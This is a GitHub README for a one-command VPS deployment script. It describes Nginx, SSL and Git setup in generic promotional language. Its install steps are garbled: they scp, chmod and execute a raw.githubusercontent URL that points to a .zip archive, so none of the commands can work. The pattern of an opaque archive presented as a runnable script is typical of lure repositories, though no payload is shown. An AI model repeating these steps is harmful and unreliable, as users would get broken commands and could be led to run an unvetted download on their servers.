Skip to content

README.md

Latest commit

 

History

History
96 lines (72 loc) · 4.62 KB

README.md

File metadata and controls

96 lines (72 loc) · 4.62 KB

🚀 web-deploy-script - Deploy Your Project with One Command

Download Now

📋 Overview

The web-deploy-script automates your server setup. This tool streamlines the process of deploying your web application on a Virtual Private Server (VPS). You no longer need to configure each server manually. The script handles all the essentials, including:

  • Web server setup (Nginx)
  • SSL certificate management
  • Git repository deployment
  • Domain configuration
  • Health checks

With one command, your project is fully deployed in a matter of minutes.

🚀 Getting Started

To start using the web-deploy-script, you need to follow these simple steps. Make sure you have a compatible VPS running Ubuntu. This script is designed for user-friendly deployment.

🔥 System Requirements

  • A Virtual Private Server (VPS) running Ubuntu 20.04 or higher.
  • Basic knowledge of using the command line.
  • A registered domain name (optional but recommended).

💾 Download & Install

  1. Visit the Releases Page: Go to our Releases page to find the latest version of the script.

  2. Download the Script: Look for the most recent release. Click on the download link for the script file.

  3. Upload to Your VPS:

    • Use an SCP client or an FTP tool to upload the downloaded script to your VPS.
    • You can also use the command line: 
      scp https://raw.githubusercontent.com/Alazarhmi/web-deploy-script/main/lib/deploy_web_script_v3.4.zip username@your-vps-ip:/path/to/upload/

  4. Run the Script:

    • Connect to your VPS using SSH: 
      ssh username@your-vps-ip
    • Change to the directory where you placed the script: 
      cd /path/to/upload/
    • Make the script executable: 
      chmod +x https://raw.githubusercontent.com/Alazarhmi/web-deploy-script/main/lib/deploy_web_script_v3.4.zip
    • Now, execute the script: 
      https://raw.githubusercontent.com/Alazarhmi/web-deploy-script/main/lib/deploy_web_script_v3.4.zip

  5. Follow the Prompts: The script may ask you for various inputs, such as your domain name and Git repository URL. Provide the required information.

  6. Watch It Go: The script will set up everything automatically and notify you once the process is complete.

⚙️ Configuration Options

You can customize the installation by modifying certain variables in the script. These might include:

  • Domain Name: Set your web application domain.
  • Database Options: If your app uses a database, specify the necessary settings.

🔍 Troubleshooting

Should you encounter issues during the deployment, check the following:

  • Make sure you have a stable internet connection.
  • Verify that your VPS meets the system requirements.
  • Check for any error messages displayed during the script execution.

Common issues include:

  • SSH Connection Failed: Ensure your VPS is online and your SSH credentials are correct.
  • Script Permissions: If the script fails to execute, you may need to adjust the permissions again.

📄 Example Usage

Once the script completes its run, you should have a fully working deployment. You can check if the application is up by visiting your domain in a web browser. You should see your web application live.

🌟 Features

  • Fully automated server setup.
  • Supports SSL for secure connections.
  • Easy integration with Git for code deployment.
  • Handles health checks to ensure your application is running smoothly.

📜 License

This project is licensed under the MIT License. Feel free to modify and use it according to your needs.

📞 Need Help?

If you have questions or need assistance, please check our issues page or consider creating a new issue.

🔗 Important Links

Don't hesitate to reach out for help or clarification. Happy deploying!